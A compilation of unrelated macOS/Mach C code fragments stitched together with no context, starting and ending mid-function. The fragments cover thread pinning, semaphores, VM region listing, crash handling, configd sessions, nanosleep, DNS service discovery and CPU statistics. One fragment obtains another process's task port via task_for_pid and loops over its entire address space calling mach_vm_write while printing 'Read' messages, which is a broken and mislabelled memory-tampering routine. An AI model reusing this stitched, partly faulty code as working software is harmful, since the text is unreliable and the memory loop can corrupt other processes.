pinning[ s ], &mask ); pthread_attr_setaffinity_np( &attr, sizeof( cpu_set_t ), &mask ); #endif //spawn the actual thread if( pthread_create( &(init->threads[ s ]), &attr, mcbsp_internal_spmd, thread_data ) != 0 ) { fprintf( stderr, "Could not spawn new thread!\n" ); mcbsp_util_fatal(); } #ifdef __MACH__ thread_port_t osx_thread = pthread_mach_thread_np( init->threads[ s ] ); struct thread_affinity_policy ap; if( MCBSP_AFFINITY == SCATTER ) { //Affinity API release notes do not specify whether 0 is a valid tag, or in fact equal to NULL; so 1-based to be sure ap.affinity_tag = s + 1; } else if( MCBSP_AFFINITY == COMPACT ) { ap.affinity_tag = 1; } else if( MCBSP_AFFINITY == MANUAL ) { ap.affinity_tag = MCBSP_MANUAL_AFFINITY[ s ]; } else { fprintf( stderr, "Unhandled affinity type for Mac OS X!\n" ); mcbsp_util_fatal(); } thread_policy_set( osx_thread, THREAD_AFFINITY_POLICY, (thread_policy_t)&ap, THREAD_AFFINITY_POLICY_COUNT ); #endif //destroy attributes object pthread_attr_destroy( &attr ); } else { //continue ourselves as bsp_id 0. Do pinning #ifdef __MACH__ thread_port_t osx_thread = pthread_mach_thread_np( pthread_self() ); struct thread_affinity_policy ap; if( MCBSP_AFFINITY == SCATTER || MCBSP_AFFINITY == COMPACT ) ap.affinity_tag = 1; else if( MCBSP_AFFINITY == MANUAL ) ap.affinity_tag = MCBSP_MANUAL_AFFINITY[ s ]; else { fprintf( stderr, "Unhandled affinity type for Mac OS X!\n" ); mcbsp_util_fatal(); } thread_policy_set( osx_thread, THREAD_AFFINITY_POLICY, (thread_policy_t)&ap, THREAD_AFFINITY_POLICY_COUNT ); #else CPU_ZERO( &mask ); CPU_SET ( pinning[ s ], &mask ); if( pthread_setaffinity_np( pthread_self(), sizeof( cpu_set_t ), &mask ) != 0 ) { fprintf( stderr, "Could not pin master thread to requested hardware thread (%d)!\n", pinning[ s ] ); mcbsp_util_fatal(); } #endif //record our own descriptor init->threads[ 0 ] = pthread_self(); //copy part of mcbsp_internal_spmd. const int rc = pthread_setspecific( mcbsp_internal_thread_data, thread_data ); if( rc != 0 ) { fprintf( stderr, "Could not store thread-local data in continuator thread!\n" ); fprintf( stderr, "(%s)\n", strerror( rc ) ); mcbsp_util_fatal(); } #ifdef __MACH__ //get rights for accessing Mach's timers const kern_return_t rc1 = host_get_clock_service( mach_host_self(), SYSTEM_CLOCK, &(thread_data->clock) ); if( rc1 != KERN_SUCCESS ) { fprintf( stderr, "Could not access the Mach system timer (%s)\n", mach_error_string( rc1 ) ); mcbsp_util_fatal(); } const kern_return_t rc2 = clock_get_time( thread_data->clock, &(thread_data->start) ); if( rc2 != KERN_SUCCESS ) { fprintf( stderr, "Could not get starting time (%s)\n", mach_error_string( rc2 ) ); mcbsp_util_fatal(); } #else clock_gettime( CLOCK_MONOTONIC, &(thread_data->start) ); #endif //this one is extra, enables possible BSP-within-BSP execution. if( pthread_setspecific( mcbsp_internal_init_data, NULL ) != 0 ) { fprintf( stderr, "Could not reset initialisation data to NULL on SPMD start!\n" ); mcbsp_util_fatal(); } } } //free pinning only if it was not manually defined if( MCBSP_AFFINITY != MANUAL ) free( pinning ); }
static void _INXPortInit() { if (!INXIsSpringBoard()) { kern_return_t err = bootstrap_look_up(bootstrap_port, "hk.kennytm.iNotifyEx.server", &_port); if (err) CFLog(kCFLogLevelError, CFSTR("iNotifyEx: Fail to look up service \"hk.kennytm.iNotifyEx.server\": %s"), mach_error_string(err)); } }
bool JackMachSemaphore::TimedWait(long usec) { if (!fSemaphore) { jack_error("JackMachSemaphore::TimedWait name = %s already deallocated!!", fName); return false; } kern_return_t res; mach_timespec time; time.tv_sec = usec / 1000000; time.tv_nsec = (usec % 1000000) * 1000; if ((res = semaphore_timedwait(fSemaphore, time)) != KERN_SUCCESS) { jack_error("JackMachSemaphore::TimedWait name = %s usec = %ld err = %s", fName, usec, mach_error_string(res)); } return (res == KERN_SUCCESS); }
// taken from vmmap.c ios clone void macosx_debug_regions (task_t task, mach_vm_address_t address, int max) { kern_return_t kret; mach_vm_address_t prev_address; /* @TODO: warning - potential overflow here - gotta fix this.. */ vm_region_basic_info_data_t prev_info, info; mach_vm_size_t size, prev_size; mach_port_t object_name; mach_msg_type_number_t count; int nsubregions = 0; int num_printed = 0; count = VM_REGION_BASIC_INFO_COUNT_64; kret = mach_vm_region (task, &address, &size, VM_REGION_BASIC_INFO, (vm_region_info_t) &info, &count, &object_name); if (kret) { printf ("mach_vm_region: Error %d - %s", kret, mach_error_string(kret)); return; } memcpy (&prev_info, &info, sizeof (vm_region_basic_info_data_t)); prev_address = address; prev_size = size; nsubregions = 1; self_sections_count = 0; for (;;) { int print = 0; int done = 0; address = prev_address + prev_size; /* Check to see if address space has wrapped around. */ if (address == 0) print = done = 1; if (!done) { // Even on iOS, we use VM_REGION_BASIC_INFO_COUNT_64. This works. count = VM_REGION_BASIC_INFO_COUNT_64; kret = mach_vm_region (task, &address, &size, VM_REGION_BASIC_INFO, (vm_region_info_t) &info, &count, &object_name); if (kret != KERN_SUCCESS) { /* iOS 6 workaround - attempt to reget the task port to avoiD */ /* "(ipc/send) invalid destination port" (1000003 or something) */ task_for_pid(mach_task_self(),getpid (), &task); kret = mach_vm_region (task, &address, &size, VM_REGION_BASIC_INFO, (vm_region_info_t) &info, &count, &object_name); } if (kret != KERN_SUCCESS) { fprintf (stderr,"mach_vm_region failed for address %p - Error: %x\n", address,(kret)); size = 0; if (address >= 0x4000000) return; print = done = 1; } } if (address != prev_address + prev_size) print = 1; if ((info.protection != prev_info.protection) || (info.max_protection != prev_info.max_protection) || (info.inheritance != prev_info.inheritance) || (info.shared != prev_info.reserved) || (info.reserved != prev_info.reserved)) print = 1; if (print) { int print_size; char *print_size_unit; if (num_printed == 0) printf ("Region "); else printf (" ... "); //findListOfBinaries(task, prev_address, prev_size); /* Quick hack to show size of segment, which GDB does not */ print_size = prev_size; if (print_size > 1024) { print_size /= 1024; print_size_unit = "K"; } if (print_size > 1024) { print_size /= 1024; print_size_unit = "M"; } if (print_size > 1024) { print_size /= 1024; print_size_unit = "G"; } /* End Quick hack */ printf (" %p - %p [%d%s](%x/%x; %d, %s, %s)", (prev_address), (prev_address + prev_size), print_size, print_size_unit, prev_info.protection, prev_info.max_protection, prev_info.inheritance, prev_info.shared ? "shared" : "private", prev_info.reserved ? "reserved" : "not-reserved"); self_sections[self_sections_count].from = prev_address; self_sections[self_sections_count].to = prev_address+prev_size; self_sections[self_sections_count].perm = PERM_READ; //prev_info.protection; self_sections_count++; if (nsubregions > 1) printf (" (%d sub-regions)", nsubregions); printf ("\n"); prev_address = address; prev_size = size; memcpy (&prev_info, &info, sizeof (vm_region_basic_info_data_t)); nsubregions = 1; num_printed++; } else { prev_size += size; nsubregions++; } if ((max > 0) && (num_printed >= max)) { printf ("Max %d num_printed %d\n", max, num_printed); done = 1; } if (done) break; } }
bool ksmach_getThreadQueueName(const thread_t thread, char* const buffer, size_t bufLength) { // WARNING: This implementation is no longer async-safe! integer_t infoBuffer[THREAD_IDENTIFIER_INFO_COUNT] = {0}; thread_info_t info = infoBuffer; mach_msg_type_number_t inOutSize = THREAD_IDENTIFIER_INFO_COUNT; kern_return_t kr = 0; kr = thread_info(thread, THREAD_IDENTIFIER_INFO, info, &inOutSize); if(kr != KERN_SUCCESS) { KSLOG_TRACE("Error getting thread_info with flavor THREAD_IDENTIFIER_INFO from mach thread : %s", mach_error_string(kr)); return false; } thread_identifier_info_t idInfo = (thread_identifier_info_t)info; dispatch_queue_t* dispatch_queue_ptr = (dispatch_queue_t*)idInfo->dispatch_qaddr; //thread_handle shouldn't be 0 also, because //identifier_info->dispatch_qaddr = identifier_info->thread_handle + get_dispatchqueue_offset_from_proc(thread->task->bsd_info); if(dispatch_queue_ptr == NULL || idInfo->thread_handle == 0 || *dispatch_queue_ptr == NULL) { KSLOG_TRACE("This thread doesn't have a dispatch queue attached : %p", thread); return false; } dispatch_queue_t dispatch_queue = *dispatch_queue_ptr; const char* queue_name = dispatch_queue_get_label(dispatch_queue); if(queue_name == NULL) { KSLOG_TRACE("Error while getting dispatch queue name : %p", dispatch_queue); return false; } KSLOG_TRACE("Dispatch queue name: %s", queue_name); size_t length = strlen(queue_name); // Queue label must be a null terminated string. size_t iLabel; for(iLabel = 0; iLabel < length + 1; iLabel++) { if(queue_name[iLabel] < ' ' || queue_name[iLabel] > '~') { break; } } if(queue_name[iLabel] != 0) { // Found a non-null, invalid char. KSLOG_TRACE("Queue label contains invalid chars"); return false; } bufLength = MIN(length, bufLength - 1);//just strlen, without null-terminator strncpy(buffer, queue_name, bufLength); buffer[bufLength] = 0;//terminate string KSLOG_TRACE("Queue label = %s", buffer); return true; }
__private_extern__ kern_return_t _configopen(mach_port_t server, xmlData_t nameRef, /* raw XML bytes */ mach_msg_type_number_t nameLen, xmlData_t optionsRef, /* raw XML bytes */ mach_msg_type_number_t optionsLen, mach_port_t *newServer, int *sc_status, audit_token_t audit_token) { CFDictionaryRef info; serverSessionRef mySession; CFStringRef name = NULL; /* name (un-serialized) */ CFMutableDictionaryRef newInfo; mach_port_t oldNotify; CFDictionaryRef options = NULL; /* options (un-serialized) */ CFStringRef sessionKey; kern_return_t status; SCDynamicStorePrivateRef storePrivate; CFBooleanRef useSessionKeys = NULL; *sc_status = kSCStatusOK; /* un-serialize the name */ if (!_SCUnserializeString(&name, NULL, (void *)nameRef, nameLen)) { *sc_status = kSCStatusFailed; } if ((optionsRef != NULL) && (optionsLen > 0)) { /* un-serialize the [session] options */ if (!_SCUnserialize((CFPropertyListRef *)&options, NULL, (void *)optionsRef, optionsLen)) { *sc_status = kSCStatusFailed; } } if (*sc_status != kSCStatusOK) { goto done; } if (!isA_CFString(name)) { *sc_status = kSCStatusInvalidArgument; goto done; } if (options != NULL) { if (!isA_CFDictionary(options)) { *sc_status = kSCStatusInvalidArgument; goto done; } /* * [pre-]process any provided options */ useSessionKeys = CFDictionaryGetValue(options, kSCDynamicStoreUseSessionKeys); if (useSessionKeys != NULL) { if (!isA_CFBoolean(useSessionKeys)) { *sc_status = kSCStatusInvalidArgument; goto done; } } } /* * establish the new session */ mySession = addSession(server, openMPCopyDescription); if (mySession == NULL) { #ifdef DEBUG SCLog(TRUE, LOG_DEBUG, CFSTR("_configopen(): session is already open.")); #endif /* DEBUG */ *sc_status = kSCStatusFailed; /* you can't re-open an "open" session */ goto done; } *newServer = mySession->key; __MACH_PORT_DEBUG(TRUE, "*** _configopen (after addSession)", *newServer); /* save the audit_token in case we need to check the callers credentials */ mySession->auditToken = audit_token; /* Create and add a run loop source for the port */ mySession->serverRunLoopSource = CFMachPortCreateRunLoopSource(NULL, mySession->serverPort, 0); CFRunLoopAddSource(CFRunLoopGetCurrent(), mySession->serverRunLoopSource, kCFRunLoopDefaultMode); if (_configd_trace) { SCTrace(TRUE, _configd_trace, CFSTR("open : %5d : %@\n"), *newServer, name); } *sc_status = __SCDynamicStoreOpen(&mySession->store, name); storePrivate = (SCDynamicStorePrivateRef)mySession->store; /* * Make the server port accessible to the framework routines. * ... and be sure to clear before calling CFRelease(store) */ storePrivate->server = *newServer; /* * Process any provided [session] options */ if (useSessionKeys != NULL) { storePrivate->useSessionKeys = CFBooleanGetValue(useSessionKeys); } /* Request a notification when/if the client dies */ status = mach_port_request_notification(mach_task_self(), *newServer, MACH_NOTIFY_NO_SENDERS, 1, *newServer, MACH_MSG_TYPE_MAKE_SEND_ONCE, &oldNotify); if (status != KERN_SUCCESS) { SCLog(TRUE, LOG_ERR, CFSTR("_configopen() mach_port_request_notification() failed: %s"), mach_error_string(status)); cleanupSession(*newServer); *newServer = MACH_PORT_NULL; *sc_status = kSCStatusFailed; goto done; } __MACH_PORT_DEBUG(TRUE, "*** _configopen (after mach_port_request_notification)", *newServer); if (oldNotify != MACH_PORT_NULL) { SCLog(TRUE, LOG_ERR, CFSTR("_configopen(): oldNotify != MACH_PORT_NULL")); } /* * Save the name of the calling application / plug-in with the session data. */ sessionKey = CFStringCreateWithFormat(NULL, NULL, CFSTR("%d"), *newServer); info = CFDictionaryGetValue(sessionData, sessionKey); if (info != NULL) { newInfo = CFDictionaryCreateMutableCopy(NULL, 0, info); } else { newInfo = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); } CFDictionarySetValue(newInfo, kSCDName, name); CFDictionarySetValue(sessionData, sessionKey, newInfo); CFRelease(newInfo); CFRelease(sessionKey); /* * Note: at this time we should be holding ONE send right and * ONE receive right to the server. The send right is * moved to the caller. */ done : if (name != NULL) CFRelease(name); if (options != NULL) CFRelease(options); return KERN_SUCCESS; }
int nanosleep(const struct timespec *requested_time, struct timespec *remaining_time) { kern_return_t ret; uint64_t end, units; static struct mach_timebase_info info = {0, 0}; static int unity; if ((requested_time == NULL) || (requested_time->tv_sec < 0) || (requested_time->tv_nsec > NSEC_PER_SEC)) { errno = EINVAL; return -1; } if (info.denom == 0) { ret = mach_timebase_info(&info); if (ret != KERN_SUCCESS) { fprintf(stderr, "mach_timebase_info() failed: %s\n", mach_error_string(ret)); errno = EAGAIN; return -1; } /* If numer == denom == 1 (as in intel), no conversion needed */ unity = (info.numer == info.denom); } if(unity) units = (uint64_t)requested_time->tv_sec * NSEC_PER_SEC; else if(!muldiv128((uint64_t)info.denom * NSEC_PER_SEC, (uint64_t)requested_time->tv_sec, (uint64_t)info.numer, &units)) { errno = EINVAL; return -1; } end = mach_absolute_time() + units + (uint64_t)info.denom * requested_time->tv_nsec / info.numer; ret = mach_wait_until(end); if (ret != KERN_SUCCESS) { if (ret == KERN_ABORTED) { errno = EINTR; if (remaining_time != NULL) { uint64_t now = mach_absolute_time(); if (now >= end) { remaining_time->tv_sec = 0; remaining_time->tv_nsec = 0; } else { if(unity) units = (end - now); else muldiv128((uint64_t)info.numer, (end - now), (uint64_t)info.denom, &units); // this can't overflow remaining_time->tv_sec = units / NSEC_PER_SEC; remaining_time->tv_nsec = units % NSEC_PER_SEC; } } } else { errno = EINVAL; } return -1; } return 0; }
int main() { int pid; int gcount; long address; unsigned char * bytes; mach_port_t task; thread_act_port_array_t threadList; mach_msg_type_number_t threadCount; printf("PID to query, or 0 for this process: "); scanf("%d", &pid); if(pid == 0){ pid = getpid(); } printf("[i] OK, using PID: %d\n", pid); int retval = task_for_pid(mach_task_self(), pid, &task); if(retval!=KERN_SUCCESS){ fprintf(stderr, "[!] Failed to get task. Do you have perms?\n"); fprintf(stderr, "Error: %s\n", mach_error_string(retval)); return 1; } printf("[i] Querying thread list\n"); retval = task_threads(task, &threadList, &threadCount); if(retval!=KERN_SUCCESS){ fprintf(stderr, "[!] Failed to read thread list\n"); fprintf(stderr, "Error: %s\n", mach_error_string(retval)); return 1; } printf("[+] Thread Count: %d\n", threadCount); printf("Address to start reading from: "); scanf("%ld", &address); printf("Number of bytes to read:: "); scanf("%d", &gcount); printf("[i] Staring... \n"); bytes = malloc(gcount); //Allocate memory for reading time_t temptime = time(NULL); long tempaddr = address; while(address < pow(2, 63)){ retval = mach_vm_write(task, (mach_vm_address_t)address, (vm_offset_t)*bytes, gcount); if(retval == KERN_SUCCESS){ printf("Succesfull Read from @0x%016lx: %s\n", address, bytes); } if(time(NULL) - temptime > TICK){ //probably a load of overhead in calling time() long bytes_read = address - tempaddr; int seconds_elapsed = time(NULL) - temptime; float read_rate = bytes_read/seconds_elapsed/(1024*1024); printf("Tick... currently at 0x%016lx (%f MB/sec)\n", address, read_rate); temptime = time(NULL); tempaddr = address; } address += gcount; //move to next chunk } }
dns_service_discovery_ref DNSServiceRegistrationCreate (const char *name, const char *regtype, const char *domain, uint16_t port, const char *txtRecord, DNSServiceRegistrationReply callBack, void *context) { mach_port_t serverPort = DNSServiceDiscoveryLookupServer(); mach_port_t clientPort; kern_return_t result; dns_service_discovery_ref return_t; struct a_requests *request; IPPort IpPort; char *portptr = (char *)&port; if (!serverPort) { return NULL; } if (!txtRecord) { txtRecord = ""; } result = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &clientPort); if (result != KERN_SUCCESS) { printf("Mach port receive creation failed, %s\n", mach_error_string(result)); return NULL; } result = mach_port_insert_right(mach_task_self(), clientPort, clientPort, MACH_MSG_TYPE_MAKE_SEND); if (result != KERN_SUCCESS) { printf("Mach port send creation failed, %s\n", mach_error_string(result)); mach_port_destroy(mach_task_self(), clientPort); return NULL; } _increaseQueueLengthOnPort(clientPort); return_t = malloc(sizeof(dns_service_discovery_t)); return_t->port = clientPort; request = malloc(sizeof(struct a_requests)); request->client_port = clientPort; request->context = context; request->callout.regCallback = callBack; // older versions of this code passed the port via mach IPC as an int. // we continue to pass it as 4 bytes to maintain binary compatibility, // but now ensure that the network byte order is preserved by using a struct IpPort.bytes[0] = 0; IpPort.bytes[1] = 0; IpPort.bytes[2] = portptr[0]; IpPort.bytes[3] = portptr[1]; result = DNSServiceRegistrationCreate_rpc(serverPort, clientPort, (char *)name, (char *)regtype, (char *)domain, IpPort, (char *)txtRecord); if (result != KERN_SUCCESS) { printf("There was an error creating a resolve, %s\n", mach_error_string(result)); free(request); return NULL; } pthread_mutex_lock(&a_requests_lock); request->next = a_requests; a_requests = request; pthread_mutex_unlock(&a_requests_lock); return return_t; }
static int cpu_read (void) { #if PROCESSOR_CPU_LOAD_INFO || PROCESSOR_TEMPERATURE int cpu; kern_return_t status; #if PROCESSOR_CPU_LOAD_INFO processor_cpu_load_info_data_t cpu_info; mach_msg_type_number_t cpu_info_len; #endif #if PROCESSOR_TEMPERATURE processor_info_data_t cpu_temp; mach_msg_type_number_t cpu_temp_len; #endif host_t cpu_host; for (cpu = 0; cpu < cpu_list_len; cpu++) { #if PROCESSOR_CPU_LOAD_INFO derive_t derives[CPU_SUBMIT_MAX] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 }; memset(derives, -1, sizeof(derives)); cpu_host = 0; cpu_info_len = PROCESSOR_BASIC_INFO_COUNT; if ((status = processor_info (cpu_list[cpu], PROCESSOR_CPU_LOAD_INFO, &cpu_host, (processor_info_t) &cpu_info, &cpu_info_len)) != KERN_SUCCESS) { ERROR ("cpu plugin: processor_info failed with status %i", (int) status); continue; } if (cpu_info_len < CPU_STATE_MAX) { ERROR ("cpu plugin: processor_info returned only %i elements..", cpu_info_len); continue; } derives[CPU_SUBMIT_USER] = (derive_t) cpu_info.cpu_ticks[CPU_STATE_USER]; derives[CPU_SUBMIT_NICE] = (derive_t) cpu_info.cpu_ticks[CPU_STATE_NICE]; derives[CPU_SUBMIT_SYSTEM] = (derive_t) cpu_info.cpu_ticks[CPU_STATE_SYSTEM]; derives[CPU_SUBMIT_IDLE] = (derive_t) cpu_info.cpu_ticks[CPU_STATE_IDLE]; submit (cpu, derives); #endif /* PROCESSOR_CPU_LOAD_INFO */ #if PROCESSOR_TEMPERATURE /* * Not all Apple computers do have this ability. To minimize * the messages sent to the syslog we do an exponential * stepback if `processor_info' fails. We still try ~once a day * though.. */ if (cpu_temp_retry_counter > 0) { cpu_temp_retry_counter--; continue; } cpu_temp_len = PROCESSOR_INFO_MAX; status = processor_info (cpu_list[cpu], PROCESSOR_TEMPERATURE, &cpu_host, cpu_temp, &cpu_temp_len); if (status != KERN_SUCCESS) { ERROR ("cpu plugin: processor_info failed: %s", mach_error_string (status)); cpu_temp_retry_counter = cpu_temp_retry_step; cpu_temp_retry_step *= 2; if (cpu_temp_retry_step > cpu_temp_retry_max) cpu_temp_retry_step = cpu_temp_retry_max; continue; } if (cpu_temp_len != 1) { DEBUG ("processor_info (PROCESSOR_TEMPERATURE) returned %i elements..?", (int) cpu_temp_len); continue; } cpu_temp_retry_counter = 0; cpu_temp_retry_step = 1; #endif /* PROCESSOR_TEMPERATURE */ } submit_flush (); /* #endif PROCESSOR_CPU_LOAD_INFO */ #elif defined(KERNEL_LINUX) int cpu; FILE *fh; char buf[1024]; char *fields[9]; int numfields; if ((fh = fopen ("/proc/stat", "r")) == NULL) { char errbuf[1024]; ERROR ("cpu plugin: fopen (/proc/stat) failed: %s", sstrerror (errno, errbuf, sizeof (errbuf))); return (-1); } while (fgets (buf, 1024, fh) != NULL) { derive_t derives[CPU_SUBMIT_MAX] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 }; if (strncmp (buf, "cpu", 3)) continue; if ((buf[3] < '0') || (buf[3] > '9')) continue; numfields = strsplit (buf, fields, 9); if (numfields < 5) continue; cpu = atoi (fields[0] + 3); derives[CPU_SUBMIT_USER] = atoll(fields[1]); derives[CPU_SUBMIT_NICE] = atoll(fields[2]); derives[CPU_SUBMIT_SYSTEM] = atoll(fields[3]); derives[CPU_SUBMIT_IDLE] = atoll(fields[4]); if (numfields >= 8) { derives[CPU_SUBMIT_WAIT] = atoll(fields[5]); derives[CPU_SUBMIT_INTERRUPT] = atoll(fields[6]); derives[CPU_SUBMIT_SOFTIRQ] = atoll(fields[6]); if (numfields >= 9) derives[CPU_SUBMIT_STEAL] = atoll(fields[8]); } submit(cpu, derives); } submit_flush(); fclose (fh); /* #endif defined(KERNEL_LINUX) */ #elif defined(HAVE_LIBKSTAT) int cpu; static cpu_stat_t cs; if (kc == NULL) return (-1); for (cpu = 0; cpu < numcpu; cpu++) { derive_t derives[CPU_SUBMIT_MAX] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 }; if (kstat_read (kc, ksp[cpu], &cs) == -1) continue; /* error message? */ memset(derives, -1, sizeof(derives)); derives[CPU_SUBMIT_IDLE] = cs.cpu_sysinfo.cpu[CPU_IDLE]; derives[CPU_SUBMIT_USER] = cs.cpu_sysinfo.cpu[CPU_USER]; derives[CPU_SUBMIT_SYSTEM] = cs.cpu_sysinfo.cpu[CPU_KERNEL]; derives[CPU_SUBMIT_WAIT] = cs.cpu_sysinfo.cpu[CPU_WAIT]; submit (ksp[cpu]->ks_instance, derives); } submit_flush (); /* #endif defined(HAVE_LIBKSTAT) */ #elif CAN_USE_SYSCTL uint64_t cpuinfo[numcpu][CPUSTATES]; size_t cpuinfo_size; int status; int i; if (numcpu < 1) { ERROR ("cpu plugin: Could not determine number of " "installed CPUs using sysctl(3)."); return (-1); } memset (cpuinfo, 0, sizeof (cpuinfo)); #if defined(KERN_CPTIME2) if (numcpu > 1) { for (i = 0; i < numcpu; i++) { int mib[] = {CTL_KERN, KERN_CPTIME2, i}; cpuinfo_size = sizeof (cpuinfo[0]); status = sysctl (mib, STATIC_ARRAY_SIZE (mib), cpuinfo[i], &cpuinfo_size, NULL, 0); if (status == -1) { char errbuf[1024]; ERROR ("cpu plugin: sysctl failed: %s.", sstrerror (errno, errbuf, sizeof (errbuf))); return (-1); } } } else #endif /* defined(KERN_CPTIME2) */ { int mib[] = {CTL_KERN, KERN_CPTIME}; long cpuinfo_tmp[CPUSTATES]; cpuinfo_size = sizeof(cpuinfo_tmp); status = sysctl (mib, STATIC_ARRAY_SIZE (mib), &cpuinfo_tmp, &cpuinfo_size, NULL, 0); if (status == -1) { char errbuf[1024]; ERROR ("cpu plugin: sysctl failed: %s.", sstrerror (errno, errbuf, sizeof (errbuf))); return (-1); } for(i = 0; i < CPUSTATES; i++) { cpuinfo[0][i] = cpuinfo_tmp[i]; } } for (i = 0; i < numcpu; i++) { derive_t derives[CPU_SUBMIT_MAX] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 }; derives[CPU_SUBMIT_USER] = cpuinfo[i][CP_USER]; derives[CPU_SUBMIT_NICE] = cpuinfo[i][CP_NICE]; derives[CPU_SUBMIT_SYSTEM] = cpuinfo[i][CP_SYS]; derives[CPU_SUBMIT_IDLE] = cpuinfo[i][CP_IDLE]; derives[CPU_SUBMIT_INTERRUPT] = cpuinfo[i][CP_INTR]; submit(i, derives); } submit_flush(); /* #endif CAN_USE_SYSCTL */ #elif defined(HAVE_SYSCTLBYNAME) && defined(HAVE_SYSCTL_KERN_CP_TIMES) long cpuinfo[maxcpu][CPUSTATES]; size_t cpuinfo_size; int i; memset (cpuinfo, 0, sizeof (cpuinfo)); cpuinfo_size = sizeof (cpuinfo); if (sysctlbyname("kern.cp_times", &cpuinfo, &cpuinfo_size, NULL, 0) < 0) { char errbuf[1024]; ERROR ("cpu plugin: sysctlbyname failed: %s.", sstrerror (errno, errbuf, sizeof (errbuf))); return (-1); } for (i = 0; i < numcpu; i++) { derive_t derives[CPU_SUBMIT_MAX] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 }; derives[CPU_SUBMIT_USER] = cpuinfo[i][CP_USER]; derives[CPU_SUBMIT_NICE] = cpuinfo[i][CP_NICE]; derives[CPU_SUBMIT_SYSTEM] = cpuinfo[i][CP_SYS]; derives[CPU_SUBMIT_IDLE] = cpuinfo[i][CP_IDLE]; derives[CPU_SUBMIT_INTERRUPT] = cpuinfo[i][CP_INTR]; submit(i, derives); } submit_flush(); /* #endif HAVE_SYSCTL_KERN_CP_TIMES */ #elif defined(HAVE_SYSCTLBYNAME) long cpuinfo[CPUSTATES]; size_t cpuinfo_size; derive_t derives[CPU_SUBMIT_MAX] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 }; cpuinfo_size = sizeof (cpuinfo); if (sysctlbyname("kern.cp_time", &cpuinfo, &cpuinfo_size, NULL, 0) < 0) { char errbuf[1024]; ERROR ("cpu plugin: sysctlbyname failed: %s.", sstrerror (errno, errbuf, sizeof (errbuf))); return (-1); } derives[CPU_SUBMIT_USER] = cpuinfo[CP_USER]; derives[CPU_SUBMIT_SYSTEM] = cpuinfo[CP_SYS]; derives[CPU_SUBMIT_NICE] = cpuinfo[CP_NICE]; derives[CPU_SUBMIT_IDLE] = cpuinfo[CP_IDLE]; derives[CPU_SUBMIT_INTERRUPT] = cpuinfo[CP_INTR]; submit(0, derives); submit_flush(); /* #endif HAVE_SYSCTLBYNAME */ #elif defined(HAVE_LIBSTATGRAB) sg_cpu_stats *cs; derive_t derives[CPU_SUBMIT_MAX] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 }; cs = sg_get_cpu_stats (); if (cs == NULL) { ERROR ("cpu plugin: sg_get_cpu_stats failed."); return (-1); } derives[CPU_SUBMIT_IDLE] = (derive_t) cs->idle; derives[CPU_SUBMIT_NICE] = (derive_t) cs->nice; derives[CPU_SUBMIT_SWAP] = (derive_t) cs->swap; derives[CPU_SUBMIT_SYSTEM] = (derive_t) cs->kernel; derives[CPU_SUBMIT_USER] = (derive_t) cs->user; derives[CPU_SUBMIT_WAIT] = (derive_t) cs->iowait; submit(0, derives); submit_flush(); /* #endif HAVE_LIBSTATGRAB */ #elif defined(HAVE_PERFSTAT) perfstat_id_t id; int i, cpus; numcpu = perfstat_cpu(NULL, NULL, sizeof(perfstat_cpu_t), 0); if(numcpu == -1) { char errbuf[1024]; WARNING ("cpu plugin: perfstat_cpu: %s", sstrerror (errno, errbuf, sizeof (errbuf))); return (-1); } if (pnumcpu != numcpu || perfcpu == NULL) { if (perfcpu != NULL) free(perfcpu); perfcpu = malloc(numcpu * sizeof(perfstat_cpu_t)); } pnumcpu = numcpu; id.name[0] = '\0'; if ((cpus = perfstat_cpu(&id, perfcpu, sizeof(perfstat_cpu_t), numcpu)) < 0) { char errbuf[1024]; WARNING ("cpu plugin: perfstat_cpu: %s", sstrerror (errno, errbuf, sizeof (errbuf))); return (-1); } for (i = 0; i < cpus; i++) { derive_t derives[CPU_SUBMIT_MAX] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 }; derives[CPU_SUBMIT_IDLE] = perfcpu[i].idle; derives[CPU_SUBMIT_SYSTEM] = perfcpu[i].sys; derives[CPU_SUBMIT_USER] = perfcpu[i].user; derives[CPU_SUBMIT_WAIT] = perfcpu[i].wait; submit(i, derives); } submit_flush(); #endif /* HAVE_PERFSTAT */ return (0); }
DNSServiceRegistrationReplyErrorType DNSServiceRegistrationRemoveRecord(dns_service_discovery_ref ref, DNSRecordReference reference) { mach_port_t serverPort = DNSServiceDiscoveryLookupServer(); mach_port_t clientPort; kern_return_t result = KERN_SUCCESS; if (!serverPort) { return kDNSServiceDiscoveryUnknownErr; } clientPort = DNSServiceDiscoveryMachPort(ref); if (!clientPort) { return kDNSServiceDiscoveryUnknownErr; } result = DNSServiceRegistrationRemoveRecord_rpc(serverPort, clientPort, (natural_t)reference); if (result != KERN_SUCCESS) { printf("The result of the registration was not successful. Error %d, result %s\n", result, mach_error_string(result)); return result; } return kDNSServiceDiscoveryNoError; }
/** Our exception handler thread routine. * Wait for an exception message, uninstall our exception port, record the * exception information, and write a report. */ void* ksmachexc_i_handleExceptions(void* const userData) { #pragma unused(userData) MachExceptionMessage exceptionMessage = {{0}}; MachReplyMessage replyMessage = {{0}}; const char* threadName = (const char*) userData; pthread_setname_np(threadName); if(threadName == kThreadSecondary) { KSLOG_DEBUG("This is the secondary thread. Suspending."); thread_suspend(mach_thread_self()); } for(;;) { KSLOG_DEBUG("Waiting for mach exception"); // Wait for a message. kern_return_t kr = mach_msg(&exceptionMessage.header, MACH_RCV_MSG, 0, sizeof(exceptionMessage), g_exceptionPort, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if(kr == KERN_SUCCESS) { break; } // Loop and try again on failure. KSLOG_ERROR("mach_msg: %s", mach_error_string(kr)); } KSLOG_DEBUG("Trapped mach exception code 0x%x, subcode 0x%x", exceptionMessage.code[0], exceptionMessage.code[1]); if(g_installed) { KSLOG_DEBUG("Exception handler is installed. Continuing exception handling."); KSLOG_DEBUG("Suspending all threads"); kscrashsentry_suspendThreads(); // Switch to the secondary thread if necessary, or uninstall the handler // to avoid a death loop. if(mach_thread_self() == pthread_mach_thread_np(g_primaryThread)) { KSLOG_DEBUG("This is the primary exception thread. 